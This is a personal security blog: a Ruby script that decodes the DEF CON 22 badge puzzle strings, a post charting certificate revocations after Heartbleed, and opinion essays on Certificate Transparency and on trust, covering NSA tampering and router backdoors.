I spent some time playing with the badge, mostly establishing communication between it and my Linux system (minicom, 57600 baud with ttyUSB0).  Once I got that running, the badge started typing random commands to the screen, but due to the primitive communications the commands were overwriting each other and I wasn't sure I was getting it all.  I then found the source for the badge on the CD they handed out.  :-)

Poking at the source I found the strings that the badge prints to the screen.  They were encoded, but the routines to decode them were in the source, so I wrote a quick and dirty program to print them all.  Below is a cleaned up version of that program, which decodes and prints all the "secret" hints that the badge types when you connect to it.  (Of course, this is just for the "Human" badge, I don't know what the other badges do.) I included the relevant code from the badge as comments in my program.




#!/usr/bin/env ruby

# Decode the "secret" strings in the defcon 22 badge source code.

################################################################
# Here's snippits of the spin source (and the strings) fromm the badge
#
#  RayNelson   byte      "IAIHG TPJNU QU CZR GALWXK DC MHR LANK FOTLA OTN LOYOC HPMPB PX HKICW",0
#  Test4       byte      "DID YOU REALLY THINK THAT IT WOULD BE SO EASY? Really?  Just running strings?",0
#  Greets      byte      16,77,85,66,83,69,67,85,32,74,69,32,84,85,86,83,69,68,32,74,77,85,68,74,79,32,74,77,69,13,0
#  Detective   byte      13,74,85,82,69,82,32,71,66,32,79,82,84,86,65,32,86,32,88,65,66,74,32,83,86,65,81,32,85,78,69,66,89,81,13,0
#  Scientist   byte      76,81,84,89,86,70,32,82,75,66,32,83,78,90,32,83,81,87,83,85,32,87,82,65,32,73,77,82,66,32,67,70,72,82,32,90,65,65,65,65,32,73,89,77,87,90,32,80,32,69,65,74,81,86,68,32,89,79,84,80,32,76,71,65,87,32,89,75,90,76,13,0
#  Diver       byte      10,"DBI DRO PSBCD RKVP YP RSC ZRYXO XEWLOB PYVVYGON LI RSC VKCD XKWO DROX DRO COMYXN RKVP YP RSC XEWLOB",CR,0
#  Driver      byte      "SOMETIMES WE HAVE ANSWERS AND DONT EVEN KNOW IT SO ENJOY THE VIEW JUST BE HAPPY",0
#  Politician  byte      83,83,80,87,76,77,32,84,72,67,65,80,32,81,80,32,74,84,32,73,87,69,32,87,68,88,70,90,32,89,85,90,88,32,85,77,86,72,88,72,32,90,65,32,67,66,32,80,65,69,32,88,82,79,76,32,70,65,89,32,73,80,89,75,13,0
#  Test3       byte      "ZGJG MTM LLPN C NTER MPMH TW",CR,0
#  Football    byte      "IT MIGHT BE HELPFUL LATER IF YOU KNOW HOW TO GET TO EDEN OR AT LEAST THE WAY",0
#  Mystery     byte      "OH A MYSTERY STRING I SHOULD HANG ON TO THIS FOR LATER I WONDER WHAT ITS FOR OR WHAT IT DECODES TO?",0
#
#  Cmd00       byte      $05, $42, $54, $57, $50, $20, $4A, $4E, $4C, $4D, $59, $20, $4D, $54
#              byte      $5A, $57, $58, $0D, $00, $4C, $4F, $56, $45, $00 
#  Cmd01       byte      $04, $41, $45, $58, $47, $4C, $20, $58, $5A, $0D, $00
#  Cmd02       byte      $0E, $47, $49, $50, $41, $57, $48, $0D, $00, $4C, $49, $46, $45, $00
#  Cmd03       byte      $0C, $45, $46, $4D, $4B, $20, $4D, $45, $58, $51, $51, $42, $0D, $00
#  Cmd04       byte      $04, $53, $46, $49, $43, $0D, $00, $47, $69, $47, $21, $00
#  Cmd05       byte      $14, $48, $49, $20, $43, $48, $58, $59, $4A, $59, $48, $58, $59, $48
#              byte      $4E, $20, $4E, $42, $49, $4F, $41, $42, $4E, $0D, $00
#  Cmd06       byte      $02, $50, $51, $20, $4B, $4F, $43, $49, $4B, $50, $43, $56, $4B, $51
#              byte      $50, $0D, $00, $4A, $6F, $6E, $6E, $79, $4D, $61, $63, $00
#  Cmd07       byte      $0C, $59, $4D, $44, $44, $4B, $20, $4D, $5A, $50, $20, $44, $51, $42
#              byte      $44, $41, $50, $47, $4F, $51, $0D, $00, $48, $41, $50, $50, $59, $00
#  Cmd08       byte      $05, $4A, $46, $59, $0D, $00, $48, $45, $41, $4C, $54, $48, $00
#  Cmd09       byte      $09, $4D, $58, $20, $57, $58, $43, $20, $5A, $44, $4E, $42, $43, $52
#              byte      $58, $57, $20, $4A, $44, $43, $51, $58, $41, $52, $43, $48, $0D, $00 
#  Cmd10       byte      $0F, $52, $44, $43, $48, $4A, $42, $54, $0D, $00
#  Cmd11       byte      $02, $45, $51, $50, $48, $51, $54, $4F, $0D, $00
#  Cmd12       byte      $19, $41, $54, $58, $0D, $00, $57, $45, $41, $4C, $54, $48, $00
#              byte      $31, $6F, $35, $37, $00
#
##################################
# Here's where the various hints are decoded.  Notice two different schemes are used.
#
#  term.caesar(@@Commands[idx])
#  term.caesar(@Greets)
#  term.otp(@Test3, @Test4)
#  term.caesar(@Detective)                                 ' display crypto string
#  term.otp(@Scientist, @Driver)
#  term.caesar(@Diver)
#  term.otp(@Politician, @Football)
#  term.otp(@RayNelson, @Mystery)
#
##################################
# Here are the actual spin decoding routines.  exor isn't actually used (here)
#
#pub caesar(p_zstr) | c                                          ' *1o57*   
#
#  lost := byte[p_zstr++]
#  repeat strsize(p_zstr)
#    c := byte[p_zstr++] 
#    case c
#      32    : tx(32)
#      13    : tx(13)
#      other : tx((((c-65)+26-lost)//26)+65)
#
#      
#pub exor(p_zstr)                                                ' *1o57*   
#
#  lost := byte[p_zstr++]
#  repeat strsize(p_zstr)
#    tx(byte[p_zstr++]^lost)
#    
#    
#pub otp(p_zstr1, p_zstr2)                                       ' *1o57*
#
#  repeat until (byte[p_zstr1] == 0)
#    if (byte[p_zstr1] == 32)
#      tx(32)
#      p_zstr1++
#      
#    elseif (byte[p_zstr1] == 13)
#      tx(13)
#      p_zstr1++
#      
#    elseif (byte[p_zstr2] == 32)
#      p_zstr2++
#      
#    else
#      tx((((byte[p_zstr1++]-65)+(byte[p_zstr2++]-65))//26)+65)
#
################################################################

#
# Here are my versions of the decoding routines
#

def caesar (message)
  decoded = ""
  lost = message.delete_at(0)

  message.each {|c|
    case c
    when 32 then result = 32
    when 13 then next
    when 0 then break
    else
      result = ((((c-65)+26-lost)%26)+65)
    end
    decoded = decoded + result.chr
  }
  decoded
end

def otp (message, key)
  decoded = ""

  msg_index = 0
  key_index = 0

  while msg_index < message.length
    if key_index < key.length
      c = message[msg_index]
      d = key[key_index]
      case c
      when 32 then 
        result = 32
        msg_index += 1
      when 13 then 
        msg_index += 1
        next
      when 0 then
        break
      else
        if d == 32 then
          key_index +=  1
          next
        else
          result = ((((c-65)+(d-65))%26)+65)
          msg_index += 1
          key_index += 1
        end
      end
      decoded = decoded + result.chr
    end
  end
  decoded
end

#
# A  couple of auxiliary routines to adjust data types.
#

def s2c (string)  # String2Char .. convert string of decimal numbers to array of chars
  result = []
  string.each_byte {|char|
    result.push(char)
  }
  result
end


def h2c  (array_string)   # Hex2Char .. convert string of Hex numbers (in spin format) to array of chars
  result = [];
  inter1 = ""
  inter1 = array_string.gsub(/\$/,'0x')
  inter1.scan(/0x../){|element| result.push(element.hex)}

  result
end

#
# OK, finally. Decode the all the hints and print them
#

cmd00 = h2c ("$05, $42, $54, $57, $50, $20, $4A, $4E, $4C, $4D, $59, $20, $4D, $54, $5A, $57, $58, $0D, $00, $4C, $4F, $56, $45, $00")
puts "caeser(Cmd00) = #{caesar(cmd00)}"

cmd01 = h2c ("$04, $41, $45, $58, $47, $4C, $20, $58, $5A, $0D, $00")
puts "caesar(Cmd01) = #{caesar(cmd01)}"

cmd02 = h2c("$0E, $47, $49, $50, $41, $57, $48, $0D, $00, $4C, $49, $46, $45, $00")
puts "caesar(Cmd02) = #{caesar(cmd02)}"

cmd03 = h2c("$0C, $45, $46, $4D, $4B, $20, $4D, $45, $58, $51, $51, $42, $0D, $00")
puts "caesar(Cmd03) = #{caesar(cmd03)}"

cmd04 = h2c("$04, $53, $46, $49, $43, $0D, $00, $47, $69, $47, $21, $00")
puts "caesar(Cmd04) = #{caesar(cmd04)}"

cmd05 = h2c("$14, $48, $49, $20, $43, $48, $58, $59, $4A, $59, $48, $58, $59, $48, $4E, $20, $4E, $42, $49, $4F, $41, $42, $4E, $0D, $00")
puts "caesar(Cmd05) = #{caesar(cmd05)}"

cmd06 = h2c("$02, $50, $51, $20, $4B, $4F, $43, $49, $4B, $50, $43, $56, $4B, $51, $50, $0D, $00, $4A, $6F, $6E, $6E, $79, $4D, $61, $63, $00")
puts "caesar(Cmd06) = #{caesar(cmd06)}"

cmd07 = h2c("$0C, $59, $4D, $44, $44, $4B, $20, $4D, $5A, $50, $20, $44, $51, $42, $44, $41, $50, $47, $4F, $51, $0D, $00, $48, $41, $50, $50, $59, $00")
puts "caesar(Cmd07) = #{caesar(cmd07)}"

cmd08 = h2c("$05, $4A, $46, $59, $0D, $00, $48, $45, $41, $4C, $54, $48, $00")
puts "caesar(Cmd08) = #{caesar(cmd08)}"

cmd09 = h2c("$09, $4D, $58, $20, $57, $58, $43, $20, $5A, $44, $4E, $42, $43, $52, $58, $57, $20, $4A, $44, $43, $51, $58, $41, $52, $43, $48, $0D, $00")
puts "caesar(Cmd09) = #{caesar(cmd09)}"

cmd10 = h2c("$0F, $52, $44, $43, $48, $4A, $42, $54, $0D, $00")
puts "caesar(Cmd10) = #{caesar(cmd10)}"

cmd11 = h2c("$02, $45, $51, $50, $48, $51, $54, $4F, $0D, $00")
puts "caesar(Cmd11) = #{caesar(cmd11)}"

cmd12 = h2c("$19, $41, $54, $58, $0D, $00, $57, $45, $41, $4C, $54, $48, $00, $31, $6F, $35, $37, $00")
puts "caesar(Cmd12) = #{caesar(cmd12)}"

greets = [16,77,85,66,83,69,67,85,32,74,69,32,84,85,86,83,69,68,32,74,77,85,68,74,79,32,74,77,69,13,0]
puts "caesar(Greets) -> #{caesar(greets)}\n"

test3 = s2c ("ZGJG MTM LLPN C NTER MPMH TW")
test4 = s2c("DID YOU REALLY THINK THAT IT WOULD BE SO EASY? Really?  Just running strings?")
puts "otp (Test3, Test4) -> #{otp(test3, test4)}"

detective = [13,74,85,82,69,82,32,71,66,32,79,82,84,86,65,32,86,32,88,65,66,74,32,83,86,65,81,32,85,78,69,66,89,81,13,0]
puts "caesar(Detective) -> #{caesar(detective)}\n"

scientist = [76,81,84,89,86,70,32,82,75,66,32,83,78,90,32,83,81,87,83,85,32,87,82,65,32,73,77,82,66,32,67,70,72,82,32,90,65,65,65,65,32,73,89,77,87,90,32,80,32,69,65,74,81,86,68,32,89,79,84,80,32,76,71,65,87,32,89,75,90,76,13,0]
driver = s2c ("SOMETIMES WE HAVE ANSWERS AND DONT EVEN KNOW IT SO ENJOY THE VIEW JUST BE HAPPY")
puts "otp (Scientist, Driver) ->  #{otp(scientist, driver)}"

diver = [10] + s2c("DBI DRO PSBCD RKVP YP RSC ZRYXO XEWLOB PYVVYGON LI RSC VKCD XKWO DROX DRO COMYXN RKVP YP RSC XEWLOB")
puts "caesar (Diver) -> #{caesar(diver)}"

politician = [83,83,80,87,76,77,32,84,72,67,65,80,32,81,80,32,74,84,32,73,87,69,32,87,68,88,70,90,32,89,85,90,88,32,85,77,86,72,88,72,32,90,65,32,67,66,32,80,65,69,32,88,82,79,76,32,70,65,89,32,73,80,89,75,13,0]
football = s2c("IT MIGHT BE HELPFUL LATER IF YOU KNOW HOW TO GET TO EDEN OR AT LEAST THE WAY")
puts "otp(Politician, Football) -> #{otp(politician, football)}"

raynelson = s2c("IAIHG TPJNU QU CZR GALWXK DC MHR LANK FOTLA OTN LOYOC HPMPB PX HKICW")
mystery = s2c("OH A MYSTERY STRING I SHOULD HANG ON TO THIS FOR LATER I WONDER WHAT ITS FOR OR WHAT IT DECODES TO?")
puts "otp(RayNelson, Mystery) -> #{otp(raynelson, mystery)}"


And here's the output from this program:

caeser(Cmd00) = WORK EIGHT HOURS
caesar(Cmd01) = WATCH TV
caesar(Cmd02) = SUBMIT
caesar(Cmd03) = STAY ASLEEP
caesar(Cmd04) = OBEY
caesar(Cmd05) = NO INDEPENDENT THOUGHT
caesar(Cmd06) = NO IMAGINATION
caesar(Cmd07) = MARRY AND REPRODUCE
caesar(Cmd08) = EAT
caesar(Cmd09) = DO NOT QUESTION AUTHORITY
caesar(Cmd10) = CONSUME
caesar(Cmd11) = CONFORM
caesar(Cmd12) = BUY
caesar(Greets) -> WELCOME TO DEFCON TWENTY TWO
otp (Test3, Test4) -> COME AND PLAY A GAME WITH ME
caesar(Detective) -> WHERE TO BEGIN I KNOW FIND HAROLD
otp (Scientist, Driver) ->  DEFCON DOT ORG SLASH ONE ZERO FIVE SEVEN SLASH I WONDER WHAT GOES HERE
caesar (Diver) -> TRY THE FIRST HALF OF HIS PHONE NUMBER FOLLOWED BY HIS LAST NAME THEN THE SECOND HALF OF HIS NUMBER
otp(Politician, Football) -> ALBERT MIGHT BE ON THE PHONE WITH HAROLD SO IF ITS BUSY TRY BACK
otp(RayNelson, Mystery) -> WHITE LINES IN THE MIDDLE OF THE ROAD THATS THE WORST PLACE TO DRIVE

Of course, this was  just scratching  the surface.  To actually solve the mystery of the badge was a massive and extremely challenging undertaking.  Here's one description of the entire solution: http://potatohatsecurity.tumblr.com/post/94565729529/defcon-22-badge-challenge-walkthrough

Many of the talks I was able to get into were excellent, with the most enjoyable one being the very last talk of  the conference, "Elevator Hacking" by Deviant Ollam and Howard Payne.  Wow, I'll never be able to look at elevator the same way again!  I recommend looking for it when the video becomes available.

At the closing ceremony, DT gave the best news we could have asked for ... next year's DEFCON will be hosted at both the Bally and Paris casino/conference centers.  This ought to resolve the space problems which have plagued DEFCON the last few years.

I'm already looking forward to it!

Sunday, April 13, 2014

As the Heart Bleeds (A new cryptographic soap opera)


By now, I'm sure you've heard of HeartBleed.  If not, you've missed a fun time. A good description of what it's all about is at: http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html

One of the "interesting" aspects of this vulnerability is that it places the private SSL certificate for the server at risk.  At first, there was some doubt as to just how vulnerable the private certificate really was, but as of 4/12/2014, the vulnerability of a server's private certificate has been clearly demonstrated: http://arstechnica.com/security/2014/04/private-crypto-keys-are-accessible-to-heartbleed-hackers-new-data-shows/

The first person to publicly demonstrate that the private certificate is vulnerable, Fedor Indutny (https://twitter.com/indutny), also had a snippet of code on his twitter feed showing how to grab and view certificate revocation lists (CRL).  

I was idly curious ... since we now know that any server's private certificate has potentially been compromised ... how many folks have started to revoke their server's SSL certificates?

Below is the results of the hint provided by Indutny, and a bit of Perl.  The vertical axis is the number of certificates revoked on a given day, with time flowing from the left to the right.

Here we can see the number of certificates revoked over the past two years (see updates below for discussion of the spike around 4/16):



And here we can see the activity over the past month.  Since we know that some folks received advanced notification of the vulnerability, I was especially interested to know if there a spike in revocations prior to the announcement.  (Which I don't see.)



Just to provide some context, here's the same data for this calendar year. 


If you're interested in drilling into this a bit deeper, check out the numerous charts at:


Obviously, I'll keep an eye on certificate revocations for awhile.  All these charts are now being updated automatically every night.

It'll be interesting to see what the next weeks will bring.  Some folks are predicting a meltdown of both the CRL handling infrastructure (straight CRLs, OCSP and Google's CRLSet), as well as the infrastructure for issuing replacement SSL certificates.


Update (4/15/2014):  Those who know me know I'm extraordinarily lazy, I'll spend days getting a computer to do 5 minutes of work for me.  :-)  I've automated producing these charts, and through the magic of cron I'll be updating them daily.  They're not the pretty ones I created with Excel previously, but gnuplot is my friend in this case.


Update (4/16/2014): The good folks as SANS published a diary entry yesterday looking at the same issues.  They produced a similar chart, but from a much richer set of sources.  When I contacted them to ask who their sources were, not only did they provide a list - they put up a spiffy page which features an automated chart.  So the charts here now have a total of 16 different sources for CRLs.  Whoopee!


Here's a link to their CRL tracking page: https://isc.sans.edu/crls.html


Update (4/16/2014 - #2): SANS has provided an even more comprehensive list of CRLs.  Also they noticed that with the enhanced list, there's a massive spike in certificate revocations ... due to a massive number of certificate revocations from Globalsign.com.




Update (4/18/2014): The rest of the world is starting to catch up on this issue.  This article looks at the impact of massive CRL changes to the "performance" of the Internet - and confirms that Akamai is planning a major round of certificate revocations: http://www.zdnet.com/internet-slowed-by-heartbleed-identity-crisis-7000028506/

Here, BTW, is a observation from Cloudflare on the cost of massive certificate revocation: http://blog.cloudflare.com/the-hard-costs-of-heartbleed


Update (4/20/2014):  In an effort to provide more comprehensive monitoring, I've modified (actually rewritten) my program to provide a plethora of charts.  They're updated daily, and available at this URL:


I've added this link to the primary blog entry above. 


Update (9/10/2014): This excellent paper just came out.  A comprehensive review of how site admins responded to the Heat Bleed vulnerability.  Two Thumbs up!






And here's the updated list of the CRL sources which both SANS and I use:







  • http://corppki/crl/MSIT Machine Auth CA 2(1).crl,
  • http://crl-ssl.certificat2.com/keynectis/class2keynectisca.crl,
  • http://crl.comodoca.com/COMODOExtendedValidationSecureServerCA.crl,
  • http://crl.comodoca.com/COMODOHigh-AssuranceSecureServerCA.crl,
  • http://crl.comodoca.com/COMODOSSLCA.crl,
  • http://crl.entrust.net/level1c.crl,
  • http://crl.globalsign.com/gs/gsdomainvalg2.crl,
  • http://crl.globalsign.com/gs/gsorganizationvalg2.crl,
  • http://crl.godaddy.com/gdig2s1-42.crl,
  • http://crl.godaddy.com/gds1-54.crl,
  • http://crl.godaddy.com/gds1-85.crl,
  • http://crl.microsoft.com/pki/mscorp/crl/MSIT Machine Auth CA 2(1).crl,
  • http://crl.netsolssl.com/NetworkSolutions_CA.crl,
  • http://crl.omniroot.com/PublicSureServerSV.crl,
  • http://crl.startssl.com/crt2-crl.crl,
  • http://crl.usertrust.com/USERTrustLegacySecureServerCA.crl,
  • http://crl2.netsolssl.com/NetworkSolutions_CA.crl,
  • http://crl3.digicert.com/ca3-g27.crl,
  • http://crl3.digicert.com/sha2-ev-server-g1.crl,
  • http://crl3.digicert.com/ssca-g5.crl,
  • http://crl4.digicert.com/ca3-g27.crl,
  • http://crl4.digicert.com/sha2-ev-server-g1.crl,
  • http://EVIntl-crl.verisign.com/EVIntl2006.crl,
  • http://EVSecure-crl.verisign.com/EVSecure2006.crl,
  • http://gtssl-crl.geotrust.com/crls/gtssl.crl,
  • http://gtssl2-crl.geotrust.com/gtssl2.crl,
  • http://mscrl.microsoft.com/pki/mscorp/crl/MSIT Machine Auth CA 2(1).crl,
  • http://pki.google.com/GIAG2.crl,
  • http://sd.symcb.com/sd.crl,
  • http://svr-sgc-crl.thawte.com/ThawteSGCG2.crl,
  • http://SVRIntl-G3-crl.verisign.com/SVRIntlG3.crl,
  • http://SVRSecure-G3-crl.verisign.com/SVRSecureG3.crl



  • Wednesday, March 26, 2014

    Every Little Bit Helps


    I thought this was a pretty interesting response to the debacle that our current certificate infrastructure has become.

    https://sites.google.com/site/certificatetransparency/ev-ct-plan

    In short, Google is going to try to encourage the use of Certificate Transparency to help deal with the weakness in our certificate infrastructure exposed by the recent rash of invalid certificate incidents.

    Certificate Transparency is the idea that whenever a new certificate is issued, that event is logged in a public logfile.  In fact, anyone can log a certificate to a pubic logfile.  Interested folks could then audit the logfile for signs of fraud or erroneously issued certificates.

    In other words, if users can reject certificates not published in the logfile, certificate forgers will have to publish their forged certificates in the public logfile for them to be useful ... permitting the legitimate domain owners to see that a forged certificate has been issued.

    For a desciption of the concept, see:
    https://sites.google.com/site/certificatetransparency/what-is-ct

    On the one hand, I really like the idea.  As I've mentioned before, I firmly believe that the way to make the Internet more secure is to move aggressively to improve transparency and utilize open-source.

    On the other hand, it really doesn't change anything fundamentally.  The issuers of certificates will still be the primary source of information in the logfile, which means that a rogue or compromised certificate authority will still be able to issue invalid certificates.  The logfile will just, potentially, provide a better opportunity for those who are paying attention to catch bad certificates more quickly.

    There is an opportunity for Certificate Transparency to provide additional value, I think.  I'm no certificate expert, but what if when users are presented a certificate not listed in a logfile, in addition to having the option of rejecting the certificate they also "log" it to the logfile as suspect - providing in effect a distributed early warning system for questionable certificates.  In fact, I would imagine that the logfile service can simply track and publicize when it's queried for certificates which it doesn't know about (note: there are probably privacy issues with just automatically publicizing failed certificate lookups.)

    Part of the challenge will be giving users the ability to query about certificates when they find themselves in a hostile environment.  Consider for example when a nation state controls DNS and is trying to use forged certificates to conduct man-in-the-middle attacks.  If the attacker can spoof or compromise a logfile service, then we're back to square one.

    I still sometimes dream of a PGP style web-of-trust certificate system, which would rely on multiple links of trust used to generate a score based on how broadly trusted a given certificate is ... unlike the current hierarchical, centralized chain-of-trust we currently use.  The biggest problems with a web-of-trust is that it probably wouldn't scale well enough, and it does place more of the responsibility on the user to manage how they allocate trust.

    In any event, it's always nice when elephantine companies like Google throw their weight behind something that can only help.

    Sunday, January 26, 2014

    Trust me, really


    One of the things which makes security such an interesting business is that sometimes it's not a black-or-white proposition.

    Here's a good example of the shades of grey we sometimes deal with.

    Say "trust me" to a security person, and you might as well have just shoveled chum into a shark tank.  We are trained to not trust, and if we're good at our job, trust comes us as easily to us as telling the truth comes to a politician.  :-)

    But, being able to award trust in a thoughtful way is one of the hallmarks of being a security professional.  At some point we have no choice but to trust others ... even if we don't want to.

    For example; we trust NIST and the crypto research community to give us good encryption algorithms, we trust certification labs to test the implementation of those algorithms, we trust our vendors to try to give us good products ... and then we trust them to tell us when they failed.

    And it's not just things we have to trust, we have to trust people in numerous ways - nothing chills my heart more than to contemplate the "insider threat".

    Unfortunately, over the last few months, I believe that our ability to trust has been seriously challenged.  I have three examples I'd like to mention of recent events which challenge our ability to trust.

    The first is that NSA "thing."

    Most folks, including any terrorist with half a clue, have assumed for years that the NSA is siphoning up all their information.  But a lot of us were blind-sided when it was revealed that the NSA has been tampering with bits of the fundamental encryption we depend on.  They went so far as to pay at least one company to make their products default to insecure algorithms, specifically so the NSA could then compromise those products.

    There's a worldwide infrastructure focused on providing trustworthy encryption products.  And the foundation of that infrastructure is our trust in the NIST certification and testing process.  What we're being told now is that the core of that trust has been undermined ... specifically that the NSA has been planting known-to-them vulnerable encryption algorithms into the public approval process and then paying companies to adopt those vulnerable algorithms.   Not to whine too much, but if you can't trust NIST and RSA to give us good random-number generators, who can you trust?

    The second example of trust gone awry I'll mention is the whole home-router scandal. (...Be sure to see my update at the bottom...)

    I've honestly lost track of how many "home" routers have turned out to have a back door built into them.  This isn't an example of some idiot engineer installing another Sendmail WIZ bug, this looks like a conscious decision by a bunch of the home router manufacturers to put back doors into their products.  I wouldn't be surprised to learn that almost all routers intended for the retail home/small business market have some sort of back-door in them.  Scarily, it's not much of a leap to find a common thread between home router back-doors, and the NSA paying RSA to leave their products vulnerable.

    My final observation of broken trust  is just to notice that the NSA trusted Edward Snowden.  How'd that work out for them?

    So, other than venting, what's the point here?  Simple, we need to remember what's at the core of trust and learn from these experiences.  Merrian Webster defines trust as the "belief that somebody or something is reliable, good, honest, effective, etc."  Ultimately, the level of trust you can have in something is directly proportional to how much control you have over its construction or use.  If you've built something yourself from scratch, you can have a lot of trust in it - otherwise you're stuck having to make the assumption that everybody involved in producing it has been reliable, honest and effective.  With a loaf of bread, that's relatively easy, but with a core router on the Internet, the chain of entities you have to trust is very long and complex.

    While that sounds like an argument for "don't trust anything", drawing that conclusion is a mistake.  You can't have zero risk and still get anything to work.  Sadly, we have to trust some things.

    So if we have to trust the untrustworthy, what can we do?  We've been forcefully reminded that we're at risk when we trust things we don't control.  However, that's nothing new and our response should not be a surprise.

    Enter open source.  In the home router arena, there have been open source replacements for manufacturer's router code for awhile.  While nothing is guaranteed, one of the great things about open source is that it's very hard to hide a back-door in open source code.  This doesn't completely solve the problem, there are still opportunities for vendors to hide back doors, even if you're running open source software on them.   But it does dramatically raise the bar, and often that's the best you can do.

    We can also apply this lesson more broadly.  Think about the entire network stack you're using and ask, where do I have to trust the vendor, and where can I mitigate that trust by using open source?   Think open source OS and applications (e.g. Linux and OpenOffice.)   Then, think about going beyond that, do you really have to use Google?  Maybe you can up your game a bit and use something like duckduckgo, or running your searches though a TOR connection (yes, both of those solutions have their own problems ... nothing's perfect.)  Do you really want to buy that Nest, maybe one of the open-source thermostats would be more secure (and fun)?

    There's one other lesson I think we should take away.  It's an oldie, but a goodie and really ties back to trust.  I'm speaking of defense in depth.  The reason I love defense in depth so much is that it's an explicit acknowledgement that you can't completely trust anything.  The point of defense in depth is that when a layer of defense lets you down, i.e. when it turns out you couldn't trust it after all, you've got additional layers to pick up the slack.

    When it turns out that the random number generator you used to protect your SSL session was defective and <mumble> is snooping on your email connection, wouldn't it be nice if you had PGP encrypted your sensitive email?   When Unit 61398 takes an interest in your home router, wouldn't it be nice if your data was housed on a server running OpenBSD instead of Windows XP? When your carefully vetted employee decides that your organization is evil, and needs to be taken down a notch or two, wouldn't it be nice if his access truly was limited based on need-to-know?

    So, here's the bottom line.  It's easy to get freaked out by some of the recent revelations, but really nothing has changed.  There have always been very serious, very smart, well resourced attackers on the Internet.   However, the principals you need to use to protect yourself haven't changed, we've just been reminded that they actually matter. 

    Here's a random collection of links related to the NSA issue and the home router problems.

    NSA
    http://topics.nytimes.com/top/reference/timestopics/organizations/n/national_security_agency/
    https://www.schneier.com/blog/archives/2013/09/the_nsas_crypto_1.html

    Home Router Back Doors
    http://www.devttys0.com/2013/10/from-china-with-love/
    http://www.reddit.com/r/netsec/comments/1orepx/great_new_backdoor_in_tenda_w302r_routers/
    http://blog.nruns.com/blog/2013/11/29/In-the-Wild-Malware-for-Routers-Sergio/
    http://www.reddit.com/r/netsec/comments/1rn37d/dlink_vulnerability_of_the_week_telnet_interface/
    http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10001
    http://krebsonsecurity.com/2013/12/important-security-update-for-d-link-routers/
    http://www.h725.co.vu/2013/11/d-link-whats-wrong-with-you.html
    http://shadow-file.blogspot.nl/2013/10/netgear-root-compromise-via-command.html
    http://www.exploit-db.com/exploits/16149/
    http://www.securityfocus.com/archive/1/530119

    Update: 4/22/2014 Added this link.  One of the primary suppliers of router hardware/software (http://www.sercomm.com/home.aspx?langid=1) claimed to have fixed the products, only to have been caught just hiding it deeper!  OM#$!@*!G

    http://arstechnica.com/security/2014/04/easter-egg-dsl-router-patch-merely-hides-backdoor-instead-of-closing-it/
    http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf

    I am speechless ...

    (But my point still remains, trust is a necessary evil so mitigate it as best as you can.)